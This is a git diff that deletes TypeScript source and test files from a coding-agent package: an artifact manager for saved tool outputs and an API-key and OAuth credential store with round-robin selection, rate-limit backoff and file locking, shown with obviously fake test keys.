- */ - getLastAssistantText(): string | undefined { - const lastAssistant = this.messages - .slice() - .reverse() - .find((m) => { - if (m.role !== "assistant") return false; - const msg = m as AssistantMessage; - // Skip aborted messages with no content - if (msg.stopReason === "aborted" && msg.content.length === 0) - return false; - return true; - }); - - if (!lastAssistant) return undefined; - - let text = ""; - for (const content of (lastAssistant as AssistantMessage).content) { - if (content.type === "text") { - text += content.text; - } - } - - return text.trim() || undefined; - } - - // ========================================================================= - // Extension System - // ========================================================================= - - /** - * Check if extensions have handlers for a specific event type. - */ - hasExtensionHandlers(eventType: string): boolean { - return this._extensionRunner?.hasHandlers(eventType) ?? false; - } - - /** - * Get the extension runner (for setting UI context and error handlers). - */ - get extensionRunner(): ExtensionRunner | undefined { - return this._extensionRunner; - } -} diff --git a/packages/pi-coding-agent/src/core/artifact-manager.ts b/packages/pi-coding-agent/src/core/artifact-manager.ts deleted file mode 100644 index 22daca76c..000000000 --- a/packages/pi-coding-agent/src/core/artifact-manager.ts +++ /dev/null @@ -1,125 +0,0 @@ -/** - * Session-scoped artifact storage for truncated tool outputs. - * - * Artifacts are stored in a directory alongside the session file, - * accessible via artifact:// URLs. - */ -import { mkdirSync, readdirSync, writeFileSync } from "node:fs"; -import { join } from "node:path"; - -/** - * Manages artifact storage for a session. - * - * Artifacts are stored with sequential IDs in the session's artifact directory. - * The directory is created lazily on first write. - */ -export class ArtifactManager { - #nextId = 0; - readonly #dir: string; - #dirCreated = false; - #initialized = false; - - /** - * @param sessionFile Path to the session .jsonl file - */ - constructor(sessionFile: string) { - // Artifact directory is session file path without .jsonl extension - this.#dir = sessionFile.slice(0, -6); - } - - /** - * Artifact directory path. - * Directory may not exist until first artifact is saved. - */ - get dir(): string { - return this.#dir; - } - - #ensureDir(): void { - if (!this.#dirCreated) { - mkdirSync(this.#dir, { recursive: true }); - this.#dirCreated = true; - } - if (!this.#initialized) { - this.#scanExistingIds(); - this.#initialized = true; - } - } - - /** - * Scan existing artifact files to find the next available ID. - * Ensures we don't overwrite artifacts when resuming a session. - */ - #scanExistingIds(): void { - const files = this.listFiles(); - let maxId = -1; - for (const file of files) { - const match = file.match(/^(\d+)\..*\.log$/); - if (match) { - const id = parseInt(match[1], 10); - if (id > maxId) maxId = id; - } - } - this.#nextId = maxId + 1; - } - - /** Atomically allocate next artifact ID. */ - allocateId(): number { - return this.#nextId++; - } - - /** - * Allocate a new artifact path and ID without writing content. - * @param toolType Tool name for file extension (e.g., "bash", "fetch") - */ - allocatePath(toolType: string): { id: string; path: string } { - this.#ensureDir(); - const id = String(this.allocateId()); - const filename = `${id}.${toolType}.log`; - return { id, path: join(this.#dir, filename) }; - } - - /** - * Save content as an artifact and return the artifact ID. - * @param content Full content to save - * @param toolType Tool name for file extension (e.g., "bash", "fetch") - * @returns Artifact ID (numeric string) - */ - save(content: string, toolType: string): string { - const { id, path } = this.allocatePath(toolType); - writeFileSync(path, content); - return id; - } - - /** - * Check if an artifact exists. - * @param id Artifact ID (numeric string) - */ - exists(id: string): boolean { - const files = this.listFiles(); - return files.some((f) => f.startsWith(`${id}.`)); - } - - /** - * List all artifact files in the directory. - * Returns empty array if directory doesn't exist. - */ - listFiles(): string[] { - try { - return readdirSync(this.#dir); - } catch { - return []; - } - } - - /** - * Get the full path to an artifact file. - * Returns null if artifact doesn't exist. - * @param id Artifact ID (numeric string) - */ - getPath(id: string): string | null { - const files = this.listFiles(); - const match = files.find((f) => f.startsWith(`${id}.`)); - return match ? join(this.#dir, match) : null; - } -} diff --git a/packages/pi-coding-agent/src/core/auth-storage.test.ts b/packages/pi-coding-agent/src/core/auth-storage.test.ts deleted file mode 100644 index 59d437634..000000000 --- a/packages/pi-coding-agent/src/core/auth-storage.test.ts +++ /dev/null @@ -1,684 +0,0 @@ -import assert from "node:assert/strict"; -import { describe, it } from "vitest"; -import { AuthStorage } from "./auth-storage.js"; - -// ─── helpers ────────────────────────────────────────────────────────────────── - -function makeKey(key: string) { - return { type: "api_key" as const, key }; -} - -function inMemory(data: Record = {}) { - return AuthStorage.inMemory(data as any); -} - -// ─── single credential (backward compat) ───────────────────────────────────── - -describe("AuthStorage — single credential (backward compat)", () => { - it("returns the api key for a provider with one key", async () => { - const storage = inMemory({ anthropic: makeKey("sk-abc") }); - const key = await storage.getApiKey("anthropic"); - assert.equal(key, "sk-abc"); - }); - - it("returns undefined for unknown provider", async () => { - const storage = inMemory({}); - const key = await storage.getApiKey("unknown"); - assert.equal(key, undefined); - }); - - it("runtime override takes precedence over stored key", async () => { - const storage = inMemory({ anthropic: makeKey("sk-stored") }); - storage.setRuntimeApiKey("anthropic", "sk-runtime"); - const key = await storage.getApiKey("anthropic"); - assert.equal(key, "sk-runtime"); - }); -}); - -// ─── multiple credentials ───────────────────────────────────────────────────── - -describe("AuthStorage — multiple credentials", () => { - it("round-robins across multiple api keys without sessionId", async () => { - const storage = inMemory({ - anthropic: [makeKey("sk-1"), makeKey("sk-2"), makeKey("sk-3")], - }); - - const keys = new Set(); - for (let i = 0; i < 6; i++) { - const k = await storage.getApiKey("anthropic"); - assert.ok(k, `call ${i} should return a key`); - keys.add(k); - } - // All three keys should have been selected across 6 calls - assert.deepEqual(keys, new Set(["sk-1", "sk-2", "sk-3"])); - }); - - it("session-sticky: same sessionId always picks the same key", async () => { - const storage = inMemory({ - anthropic: [makeKey("sk-1"), makeKey("sk-2"), makeKey("sk-3")], - }); - - const sessionId = "sess-abc"; - const first = await storage.getApiKey("anthropic", sessionId); - for (let i = 0; i < 5; i++) { - const k = await storage.getApiKey("anthropic", sessionId); - assert.equal(k, first, `call ${i} should be sticky to first selection`); - } - }); - - it("different sessionIds may select different keys", async () => { - const storage = inMemory({ - anthropic: [makeKey("sk-1"), makeKey("sk-2"), makeKey("sk-3")], - }); - - const results = new Set(); - for (let i = 0; i < 20; i++) { - const k = await storage.getApiKey("anthropic", `sess-${i}`); - if (k) results.add(k); - } - // With 20 different sessions and 3 keys, we should see more than one key - assert.ok( - results.size > 1, - "multiple sessions should hash to different keys", - ); - }); -}); - -// ─── login accumulation ─────────────────────────────────────────────────────── - -describe("AuthStorage — login accumulation", () => { - it("accumulates api keys on repeated set()", () => { - const storage = inMemory({}); - storage.set("anthropic", makeKey("sk-1")); - storage.set("anthropic", makeKey("sk-2")); - const creds = storage.getCredentialsForProvider("anthropic"); - assert.equal(creds.length, 2); - assert.deepEqual( - creds.map((c) => (c.type === "api_key" ? c.key : null)), - ["sk-1", "sk-2"], - ); - }); - - it("deduplicates identical api keys", () => { - const storage = inMemory({}); - storage.set("anthropic", makeKey("sk-1")); - storage.set("anthropic", makeKey("sk-1")); - const creds = storage.getCredentialsForProvider("anthropic"); - assert.equal(creds.length, 1); - }); -}); - -// ─── backoff / markUsageLimitReached ───────────────────────────────────────── - -describe("AuthStorage — rate-limit backoff", () => { - it("returns true when a backed-off credential has an alternate", async () => { - const storage = inMemory({ - anthropic: [makeKey("sk-1"), makeKey("sk-2")], - }); - - // Use sk-1 via round-robin (first call, index 0) - await storage.getApiKey("anthropic"); - - // Mark it as rate-limited; sk-2 should still be available - const hasAlternate = storage.markUsageLimitReached("anthropic"); - assert.equal(hasAlternate, true); - }); - - it("returns false when all credentials are backed off", async () => { - const storage = inMemory({ - anthropic: [makeKey("sk-1"), makeKey("sk-2")], - }); - - // Back off both keys - await storage.getApiKey("anthropic"); // uses index 0 - storage.markUsageLimitReached("anthropic"); // backs off index 0 - await storage.getApiKey("anthropic"); // uses index 1 - const hasAlternate = storage.markUsageLimitReached("anthropic"); // backs off index 1 - assert.equal(hasAlternate, false); - }); - - it("backed-off credential is skipped; next available key is returned", async () => { - const storage = inMemory({ - anthropic: [makeKey("sk-1"), makeKey("sk-2")], - }); - - // First call → sk-1 (round-robin index 0) - const first = await storage.getApiKey("anthropic"); - assert.equal(first, "sk-1"); - - // Back off sk-1 - storage.markUsageLimitReached("anthropic"); - - // Next call should skip backed-off sk-1 and return sk-2 - const second = await storage.getApiKey("anthropic"); - assert.equal(second, "sk-2"); - }); - - it("single credential: markUsageLimitReached returns false", async () => { - const storage = inMemory({ anthropic: makeKey("sk-only") }); - await storage.getApiKey("anthropic"); - const hasAlternate = storage.markUsageLimitReached("anthropic"); - assert.equal(hasAlternate, false); - }); - - it("single credential: unknown error type skips backoff entirely", async () => { - const storage = inMemory({ anthropic: makeKey("sk-only") }); - await storage.getApiKey("anthropic"); - - // Mark with unknown error type (transport failure) - const hasAlternate = storage.markUsageLimitReached("anthropic", undefined, { - errorType: "unknown", - }); - assert.equal(hasAlternate, false); - - // Key should still be available — backoff was not applied - const key = await storage.getApiKey("anthropic"); - assert.equal(key, "sk-only"); - }); - - it("multiple credentials: unknown error type still backs off the used credential", async () => { - const storage = inMemory({ - anthropic: [makeKey("sk-1"), makeKey("sk-2")], - }); - await storage.getApiKey("anthropic"); // uses sk-1 - - // Mark with unknown error type — should still back off when alternates exist - const hasAlternate = storage.markUsageLimitReached("anthropic", undefined, { - errorType: "unknown", - }); - assert.equal(hasAlternate, true); - - // Next call should return sk-2 - const key = await storage.getApiKey("anthropic"); - assert.equal(key, "sk-2"); - }); - - it("single credential: rate_limit error type still backs off", async () => { - const storage = inMemory({ anthropic: makeKey("sk-only") }); - await storage.getApiKey("anthropic"); - - // rate_limit should still back off even single credentials - const hasAlternate = storage.markUsageLimitReached("anthropic", undefined, { - errorType: "rate_limit", - }); - assert.equal(hasAlternate, false); - - // Key should be backed off - const key = await storage.getApiKey("anthropic"); - assert.equal(key, undefined); - }); - - it("session-sticky: marks the correct credential as backed off", async () => { - const storage = inMemory({ - anthropic: [makeKey("sk-1"), makeKey("sk-2")], - }); - - const sessionId = "sess-xyz"; - const chosen = await storage.getApiKey("anthropic", sessionId); - assert.ok(chosen); - - // Back off the chosen credential for this session - const hasAlternate = storage.markUsageLimitReached("anthropic", sessionId); - assert.equal(hasAlternate, true); - - // Next call with same session should return the other key - const next = await storage.getApiKey("anthropic", sessionId); - assert.ok(next); - assert.notEqual(next, chosen); - }); -}); - -// ─── areAllCredentialsBackedOff ─────────────────────────────────────────────── - -describe("AuthStorage — areAllCredentialsBackedOff", () => { - it("returns false when no credentials are configured", () => { - const storage = inMemory({}); - assert.equal(storage.areAllCredentialsBackedOff("anthropic"), false); - }); - - it("returns false when credentials exist and none are backed off", async () => { - const storage = inMemory({ anthropic: makeKey("sk-abc") }); - assert.equal(storage.areAllCredentialsBackedOff("anthropic"), false); - }); - - it("returns true when the single credential is backed off", async () => { - const storage = inMemory({ anthropic: makeKey("sk-only") }); - await storage.getApiKey("anthropic"); - storage.markUsageLimitReached("anthropic"); - assert.equal(storage.areAllCredentialsBackedOff("anthropic"), true); - }); - - it("returns false when at least one credential is still available", async () => { - const storage = inMemory({ anthropic: [makeKey("sk-1"), makeKey("sk-2")] }); - await storage.getApiKey("anthropic"); // uses index 0 - storage.markUsageLimitReached("anthropic"); // backs off index 0 - // index 1 is still available - assert.equal(storage.areAllCredentialsBackedOff("anthropic"), false); - }); - - it("returns true when all credentials are backed off", async () => { - const storage = inMemory({ anthropic: [makeKey("sk-1"), makeKey("sk-2")] }); - await storage.getApiKey("anthropic"); // uses index 0 - storage.markUsageLimitReached("anthropic"); // backs off index 0 - await storage.getApiKey("anthropic"); // uses index 1 - storage.markUsageLimitReached("anthropic"); // backs off index 1 - assert.equal(storage.areAllCredentialsBackedOff("anthropic"), true); - }); -}); - -// ─── mismatched oauth credential for non-OAuth provider (#2083) ─────────────── - -describe("AuthStorage — oauth credential for non-OAuth provider (#2083)", () => { - it("returns undefined when openrouter has type:oauth (no registered OAuth provider)", async (_t) => { - // Simulates the bug: OpenRouter credential stored as type:"oauth" - // but OpenRouter is not a registered OAuth provider. - const storage = inMemory({ - openrouter: { - type: "oauth", - access_token: "sk-or-v1-fake", - refresh_token: "rt-fake", - expires: Date.now() + 3_600_000, - }, - }); - - // Isolate from any real OPENROUTER_API_KEY in the environment so the - // fall-through to env / fallback finds nothing and returns undefined. - const origEnv = process.env.OPENROUTER_API_KEY; - delete process.env.OPENROUTER_API_KEY; - try { - // Before the fix, getApiKey returns undefined because - // resolveCredentialApiKey calls getOAuthProvider("openrouter") → null → undefined. - // The key in the oauth credential is never extracted. - const key = await storage.getApiKey("openrouter"); - // After the fix, the oauth credential with an unrecognised provider - // should be skipped, and getApiKey should fall through to env / fallback. - // With no env var and no fallback resolver configured, the result is undefined. - assert.equal(key, undefined); - } finally { - if (origEnv === undefined) { - delete process.env.OPENROUTER_API_KEY; - } else { - process.env.OPENROUTER_API_KEY = origEnv; - } - } - }); - - it("falls through to env var when openrouter has type:oauth credential", async () => { - const storage = inMemory({ - openrouter: { - type: "oauth", - access_token: "sk-or-v1-fake", - refresh_token: "rt-fake", - expires: Date.now() + 3_600_000, - }, - }); - - // Simulate OPENROUTER_API_KEY being set via env - const origEnv = process.env.OPENROUTER_API_KEY; - try { - process.env.OPENROUTER_API_KEY = "sk-or-v1-env-key"; - const key = await storage.getApiKey("openrouter"); - assert.equal(key, "sk-or-v1-env-key"); - } finally { - if (origEnv === undefined) { - delete process.env.OPENROUTER_API_KEY; - } else { - process.env.OPENROUTER_API_KEY = origEnv; - } - } - }); - - it("falls through to fallback resolver when openrouter has type:oauth credential", async () => { - const storage = inMemory({ - openrouter: { - type: "oauth", - access_token: "sk-or-v1-fake", - refresh_token: "rt-fake", - expires: Date.now() + 3_600_000, - }, - }); - - // Isolate from any real OPENROUTER_API_KEY so env fallback is skipped - // and the fallback resolver is reached. - const origEnv = process.env.OPENROUTER_API_KEY; - delete process.env.OPENROUTER_API_KEY; - try { - storage.setFallbackResolver((provider) => - provider === "openrouter" ? "sk-or-v1-fallback" : undefined, - ); - - const key = await storage.getApiKey("openrouter"); - assert.equal(key, "sk-or-v1-fallback"); - } finally { - if (origEnv === undefined) { - delete process.env.OPENROUTER_API_KEY; - } else { - process.env.OPENROUTER_API_KEY = origEnv; - } - } - }); -}); - -// ─── Gemini CLI OAuth token detection ───────────────────────────────────────── - -describe("AuthStorage — Gemini CLI OAuth token detection", () => { - it("rejects Google OAuth access token (ya29. prefix) stored as api_key for google provider", () => { - const storage = inMemory({}); - assert.throws( - () => - storage.set( - "google", - makeKey("ya29.a0ARrdaM_fake_oauth_token_from_gemini_cli"), - ), - (err: Error) => { - assert.ok( - err.message.includes("OAuth access token"), - `Expected message about OAuth token, got: ${err.message}`, - ); - assert.ok( - err.message.includes("GEMINI_API_KEY") || - err.message.includes("google-gemini-cli"), - `Expected guidance about GEMINI_API_KEY or google-gemini-cli, got: ${err.message}`, - ); - return true; - }, - ); - }); - - it("rejects Google OAuth access token for google provider via getApiKey when set as env var", async () => { - const storage = inMemory({}); - // Simulate runtime override with OAuth token - storage.setRuntimeApiKey("google", "ya29.c.b0AXv0zTPQ_fake_oauth_token"); - const key = await storage.getApiKey("google"); - // Should return undefined (blocked) or throw - assert.equal( - key, - undefined, - "OAuth token should be blocked for google provider", - ); - }); - - it("allows legitimate Google API keys (AIza prefix) for google provider", () => { - const storage = inMemory({}); - storage.set("google", makeKey("AIzaSyD_fake_legitimate_api_key_here")); - const creds = storage.getCredentialsForProvider("google"); - assert.equal(creds.length, 1); - }); - - it("allows ya29 tokens for google-gemini-cli provider (OAuth is expected there)", () => { - // google-gemini-cli stores OAuth credentials with type: "oauth", not "api_key" - // But if someone somehow stored an api_key, it shouldn't be blocked for OAuth providers - const storage = inMemory({}); - storage.set( - "google-gemini-cli", - makeKey("ya29.a0ARrdaM_token_for_gemini_cli"), - ); - const creds = storage.getCredentialsForProvider("google-gemini-cli"); - assert.equal(creds.length, 1); - }); - - it("rejects Google OAuth token (ya29. prefix) for openai provider that uses GEMINI_API_KEY indirectly", () => { - // Only google provider should be blocked, not others - const storage = inMemory({}); - // This should NOT throw - other providers can have whatever keys they want - storage.set("openai", makeKey("ya29.some_value")); - const creds = storage.getCredentialsForProvider("openai"); - assert.equal(creds.length, 1); - }); -}); - -// ─── getAll truncation ──────────────────────────────────────────────────────── - -describe("AuthStorage — getAll()", () => { - it("returns first credential only for providers with multiple keys", () => { - const storage = inMemory({ - anthropic: [makeKey("sk-1"), makeKey("sk-2")], - openai: makeKey("sk-openai"), - }); - const all = storage.getAll(); - assert.ok(all["anthropic"]?.type === "api_key"); - assert.equal((all["anthropic"] as any).key, "sk-1"); - assert.equal((all["openai"] as any).key, "sk-openai"); - }); -}); - -// ─── getEarliestBackoffExpiry ───────────────────────────────────────────────── - -describe("AuthStorage — getEarliestBackoffExpiry", () => { - it("returns undefined when no credentials are configured for the provider", () => { - const storage = inMemory({}); - assert.equal(storage.getEarliestBackoffExpiry("anthropic"), undefined); - }); - - it("returns undefined when credentials exist but none are backed off", () => { - const storage = inMemory({ anthropic: makeKey("sk-only") }); - // No markUsageLimitReached call — credentialBackoff map is empty - assert.equal(storage.getEarliestBackoffExpiry("anthropic"), undefined); - }); - - it("returns a future timestamp when a single credential is backed off", async () => { - const storage = inMemory({ anthropic: makeKey("sk-only") }); - await storage.getApiKey("anthropic"); - storage.markUsageLimitReached("anthropic"); - - const expiry = storage.getEarliestBackoffExpiry("anthropic"); - assert.ok(expiry !== undefined, "should return a timestamp"); - assert.ok(expiry > Date.now(), "expiry should be in the future"); - }); - - it("returns the earliest expiry when multiple credentials are backed off", async () => { - const storage = inMemory({ - anthropic: [makeKey("sk-1"), makeKey("sk-2")], - }); - - // Back off both credentials with the default rate_limit backoff (30 s) - await storage.getApiKey("anthropic"); // uses index 0 - storage.markUsageLimitReached("anthropic"); // backs off index 0 - await storage.getApiKey("anthropic"); // uses index 1 - storage.markUsageLimitReached("anthropic"); // backs off index 1 - - const expiry = storage.getEarliestBackoffExpiry("anthropic"); - assert.ok(expiry !== undefined, "should return a timestamp"); - assert.ok(expiry > Date.now(), "expiry should be in the future"); - }); - - it("returns undefined after backed-off credentials expire (cleans up entries)", () => { - // Manually inject an already-expired backoff entry so we can test - // the cleanup path without actually waiting 30 seconds. - const storage = inMemory({ anthropic: makeKey("sk-only") }); - - // Access private credentialBackoff map via type assertion to inject expired entry - const credentialBackoff: Map> = (storage as any) - .credentialBackoff; - const providerMap = new Map(); - // expiresAt in the past - providerMap.set(0, Date.now() - 1_000); - credentialBackoff.set("anthropic", providerMap); - - // getEarliestBackoffExpiry should clean up the expired entry and return undefined - const expiry = storage.getEarliestBackoffExpiry("anthropic"); - assert.equal(expiry, undefined); - - // Confirm the expired entry was removed from the map - assert.equal(providerMap.size, 0, "expired entry should have been deleted"); - }); - - it("returns undefined when provider is not in credentialBackoff map at all", () => { - const storage = inMemory({ openai: makeKey("sk-openai") }); - // anthropic has no backoff map entry at all - assert.equal(storage.getEarliestBackoffExpiry("anthropic"), undefined); - }); - - it("only returns expiry for the requested provider, not other providers", async () => { - const storage = inMemory({ - anthropic: makeKey("sk-ant"), - openai: makeKey("sk-oai"), - }); - - // Back off anthropic - await storage.getApiKey("anthropic"); - storage.markUsageLimitReached("anthropic"); - - // openai is not backed off - assert.equal(storage.getEarliestBackoffExpiry("openai"), undefined); - - // anthropic is backed off - const expiry = storage.getEarliestBackoffExpiry("anthropic"); - assert.ok(expiry !== undefined); - assert.ok(expiry > Date.now()); - }); - - it("returns the minimum expiry when one credential expires sooner than another", () => { - const storage = inMemory({ - anthropic: [makeKey("sk-1"), makeKey("sk-2")], - }); - - const now = Date.now(); - const nearExpiry = now + 5_000; // expires in 5 s - const farExpiry = now + 30_000; // expires in 30 s - - // Inject two different backoff expiries manually - const credentialBackoff: Map> = (storage as any) - .credentialBackoff; - const providerMap = new Map(); - providerMap.set(0, nearExpiry); - providerMap.set(1, farExpiry); - credentialBackoff.set("anthropic", providerMap); - - const expiry = storage.getEarliestBackoffExpiry("anthropic"); - assert.equal( - expiry, - nearExpiry, - "should return the nearest (smallest) expiry", - ); - }); -}); - -// ─── localhost baseUrl shortcut ──────────────────────────────────────────────── - -describe("AuthStorage — localhost baseUrl shortcut", () => { - it("returns 'local-no-key-needed' for localhost provider with no configured key", async () => { - const storage = inMemory({}); - const key = await storage.getApiKey("ollama", undefined, { - baseUrl: "http://localhost:11434", - }); - assert.equal(key, "local-no-key-needed"); - }); - - it("returns 'local-no-key-needed' for 127.0.0.1 provider with no configured key", async () => { - const storage = inMemory({}); - const key = await storage.getApiKey("custom", undefined, { - baseUrl: "http://127.0.0.1:8080/v1", - }); - assert.equal(key, "local-no-key-needed"); - }); - - it("returns configured key from fallback resolver for localhost custom provider (#4106)", async () => { - // Regression test: compaction called getApiKey(model) where model.baseUrl is localhost. - // The localhost shortcut must NOT override an explicitly configured apiKey from models.json. - const storage = inMemory({}); - storage.setFallbackResolver((provider) => - provider === "cliproxy" ? "sk-real-proxy-key" : undefined, - ); - - const key = await storage.getApiKey("cliproxy", undefined, { - baseUrl: "http://localhost:8317/v1", - }); - assert.equal(key, "sk-real-proxy-key"); - }); - - it("returns configured key from fallback resolver when baseUrl uses 127.0.0.1 (#4106)", async () => { - const storage = inMemory({}); - storage.setFallbackResolver((provider) => - provider === "myproxy" ? "sk-myproxy-key" : undefined, - ); - - const key = await storage.getApiKey("myproxy", undefined, { - baseUrl: "http://127.0.0.1:9000/v1", - }); - assert.equal(key, "sk-myproxy-key"); - }); -}); - -// ─── hasLegacyOAuthCredential (Anthropic OAuth removed in v2.74.0, #3952) ──── - -describe("AuthStorage — hasLegacyOAuthCredential (#4280)", () => { - it("returns true when anthropic has a type:oauth credential", () => { - const storage = inMemory({ - anthropic: { - type: "oauth", - access: "ya29.fake-access-token", - refresh: "1//fake-refresh-token", - expires: Date.now() + 3_600_000, - }, - }); - assert.equal(storage.hasLegacyOAuthCredential("anthropic"), true); - }); - - it("returns false when anthropic has an api_key credential", () => { - const storage = inMemory({ anthropic: makeKey("sk-ant-fake") }); - assert.equal(storage.hasLegacyOAuthCredential("anthropic"), false); - }); - - it("returns false when anthropic has no credential at all", () => { - const storage = inMemory({}); - assert.equal(storage.hasLegacyOAuthCredential("anthropic"), false); - }); - - it("returns false for a provider with a legitimate OAuth credential (e.g. github-copilot)", () => { - const storage = inMemory({ - "github-copilot": { - type: "oauth", - access: "gho_fake-token", - refresh: "ghr_fake-refresh", - expires: Date.now() + 28_800_000, - }, - }); - // hasLegacyOAuthCredential is intentionally provider-scoped — calling it - // for a provider that still supports OAuth (like github-copilot) is not - // expected in production, but the method must not explode. - assert.equal(storage.hasLegacyOAuthCredential("github-copilot"), true); - }); -}); - -// ─── removeLegacyOAuthCredential (self-heal for #3952 / #4368) ─────────────── - -describe("AuthStorage — removeLegacyOAuthCredential (#4368)", () => { - it("removes oauth entry and returns true when present", () => { - const storage = inMemory({ - anthropic: { - type: "oauth", - access: "fake", - refresh: "fake", - expires: Date.now() + 3_600_000, - }, - }); - assert.equal(storage.removeLegacyOAuthCredential("anthropic"), true); - assert.equal(storage.hasLegacyOAuthCredential("anthropic"), false); - assert.equal(storage.has("anthropic"), false); - }); - - it("returns false when no oauth entry exists", () => { - const storage = inMemory({ anthropic: makeKey("sk-ant-fake") }); - assert.equal(storage.removeLegacyOAuthCredential("anthropic"), false); - assert.equal(storage.get("anthropic")?.type, "api_key"); - }); - - it("preserves api_key credentials alongside oauth entry", () => { - const storage = inMemory({ - anthropic: [ - makeKey("sk-ant-keep"), - { - type: "oauth", - access: "fake", - refresh: "fake", - expires: Date.now() + 3_600_000, - }, - ], - }); - assert.equal(storage.removeLegacyOAuthCredential("anthropic"), true); - const remaining = storage.getCredentialsForProvider("anthropic"); - assert.equal(remaining.length, 1); - assert.equal(remaining[0].type, "api_key"); - }); -}); diff --git a/packages/pi-coding-agent/src/core/auth-storage.ts b/packages/pi-coding-agent/src/core/auth-storage.ts deleted file mode 100644 index 3253e88e3..000000000 --- a/packages/pi-coding-agent/src/core/auth-storage.ts +++ /dev/null @@ -1,1033 +0,0 @@ -/** - * Credential storage for API keys and OAuth tokens. - * Handles loading, saving, and refreshing credentials from auth.json. - * - * Supports multiple credentials per provider with round-robin selection, - * session-sticky hashing, and automatic rate-limit fallback. - * - * Uses file locking to prevent race conditions when multiple pi instances - * try to refresh tokens simultaneously. - */ - -import { - chmodSync, - existsSync, - mkdirSync, - readFileSync, - writeFileSync, -} from "node:fs"; -import { dirname, join } from "node:path"; -import { - getEnvApiKey, - type OAuthCredentials, - type OAuthLoginCallbacks, - type OAuthProviderId, -} from "@singularity-forge/pi-ai"; -import { - getOAuthApiKey, - getOAuthProvider, - getOAuthProviders, -} from "@singularity-forge/pi-ai/oauth"; -import { getAgentDir } from "../config.js"; -import { AUTH_LOCK_STALE_MS } from "./constants.js"; -import { acquireLockAsync, acquireLockSyncWithRetry } from "./lock-utils.js"; -import { resolveConfigValueAsync } from "./resolve-config-value.js"; -import type { ProviderEnvAuthMode } from "./settings-manager.js"; - -export type ApiKeyCredential = { - type: "api_key"; - key: string; -}; - -export type OAuthCredential = { - type: "oauth"; -} & OAuthCredentials; - -export type AuthCredential = ApiKeyCredential | OAuthCredential; - -// ============================================================================ -// Google OAuth token detection -// ============================================================================ - -/** - * Providers that use Google AI Studio API keys (not OAuth tokens). - * OAuth access tokens (ya29.*) are not valid API keys for these providers. - */ -const GOOGLE_API_KEY_PROVIDERS = new Set(["google"]); - -/** - * Detect if a string is a Google OAuth access token rather than an API key. - * Google OAuth access tokens start with "ya29." — these are issued by - * Google's OAuth2 token endpoint and are not valid as AI Studio API keys. - * - * Users who installed Google's Gemini CLI may have these tokens and - * mistakenly expose them via environment variables. - */ -export function isGoogleOAuthToken(key: string): boolean { - return key.startsWith("ya29."); -} - -/** - * Validate that an API key is not a Google OAuth token being used for - * a provider that requires actual API keys (e.g., Google AI Studio). - * Throws a descriptive error if the key appears to be an OAuth token. - */ -function validateNotGoogleOAuthToken(provider: string, key: string): void { - if (GOOGLE_API_KEY_PROVIDERS.has(provider) && isGoogleOAuthToken(key)) { - throw new Error( - `The provided key for "${provider}" appears to be a Google OAuth access token (ya29.*), ` + - `not a valid API key. Google AI Studio requires an API key starting with "AIza...". ` + - `\n\nIf you're using Google's Gemini CLI, its OAuth tokens are not compatible. ` + - `Use the google-gemini-cli provider, which delegates OAuth handling ` + - `to @google/gemini-cli-core.`, - ); - } -} - -/** - * On-disk format: each provider maps to a single credential or an array of credentials. - * Single credentials are normalized to arrays at load time for internal use. - */ -export type AuthStorageData = Record; - -type LockResult = { - result: T; - next?: string; -}; - -export interface AuthStorageBackend { - withLock(fn: (current: string | undefined) => LockResult): T; - withLockAsync( - fn: (current: string | undefined) => Promise>, - ): Promise; -} - -export class FileAuthStorageBackend implements AuthStorageBackend { - constructor(private authPath: string = join(getAgentDir(), "auth.json")) {} - - private ensureParentDir(): void { - const dir = dirname(this.authPath); - if (!existsSync(dir)) { - mkdirSync(dir, { recursive: true, mode: 0o700 }); - } - } - - private ensureFileExists(): void { - if (!existsSync(this.authPath)) { - writeFileSync(this.authPath, "{}", "utf-8"); - chmodSync(this.authPath, 0o600); - } - } - - withLock(fn: (current: string | undefined) => LockResult): T { - this.ensureParentDir(); - this.ensureFileExists(); - - let release: (() => void) | undefined; - try { - release = acquireLockSyncWithRetry(this.authPath); - const current = existsSync(this.authPath) - ? readFileSync(this.authPath, "utf-8") - : undefined; - const { result, next } = fn(current); - if (next !== undefined) { - writeFileSync(this.authPath, next, "utf-8"); - chmodSync(this.authPath, 0o600); - } - return result; - } finally { - if (release) { - release(); - } - } - } - - async withLockAsync( - fn: (current: string | undefined) => Promise>, - ): Promise { - this.ensureParentDir(); - this.ensureFileExists(); - - let release: (() => Promise) | undefined; - let lockCompromised = false; - let lockCompromisedError: Error | undefined; - const throwIfCompromised = () => { - if (lockCompromised) { - throw ( - lockCompromisedError ?? new Error("Auth storage lock was compromised") - ); - } - }; - - try { - release = await acquireLockAsync(this.authPath, { - staleMs: AUTH_LOCK_STALE_MS, - onCompromised: (err) => { - lockCompromised = true; - lockCompromisedError = err; - }, - }); - - throwIfCompromised(); - const current = existsSync(this.authPath) - ? readFileSync(this.authPath, "utf-8") - : undefined; - const { result, next } = await fn(current); - throwIfCompromised(); - if (next !== undefined) { - writeFileSync(this.authPath, next, "utf-8"); - chmodSync(this.authPath, 0o600); - } - throwIfCompromised(); - return result; - } finally { - if (release) { - try { - await release(); - } catch { - // Ignore unlock errors when lock is compromised. - } - } - } - } -} - -export class InMemoryAuthStorageBackend implements AuthStorageBackend { - private value: string | undefined; - - withLock(fn: (current: string | undefined) => LockResult): T { - const { result, next } = fn(this.value); - if (next !== undefined) { - this.value = next; - } - return result; - } - - async withLockAsync( - fn: (current: string | undefined) => Promise>, - ): Promise { - const { result, next } = await fn(this.value); - if (next !== undefined) { - this.value = next; - } - return result; - } -} - -// ============================================================================ -// Backoff durations for different error types (milliseconds) -// ============================================================================ - -const BACKOFF_RATE_LIMIT_MS = 30_000; // 30s for rate limit / 429 -const BACKOFF_QUOTA_EXHAUSTED_MS = 30 * 60_000; // 30min for quota exhausted -const BACKOFF_SERVER_ERROR_MS = 20_000; // 20s for 5xx server errors -const BACKOFF_DEFAULT_MS = 60_000; // 60s fallback - -export type UsageLimitErrorType = - | "rate_limit" - | "quota_exhausted" - | "server_error" - | "auth_error" - | "unknown"; - -/** - * Get backoff duration for an error type. - */ -function getBackoffDuration(errorType: UsageLimitErrorType): number { - switch (errorType) { - case "rate_limit": - return BACKOFF_RATE_LIMIT_MS; - case "quota_exhausted": - return BACKOFF_QUOTA_EXHAUSTED_MS; - case "server_error": - return BACKOFF_SERVER_ERROR_MS; - default: - return BACKOFF_DEFAULT_MS; - } -} - -/** - * Simple string hash for session-sticky credential selection. - * Returns a positive integer. - */ -function hashString(str: string): number { - let hash = 0; - for (let i = 0; i < str.length; i++) { - const char = str.charCodeAt(i); - hash = ((hash << 5) - hash + char) | 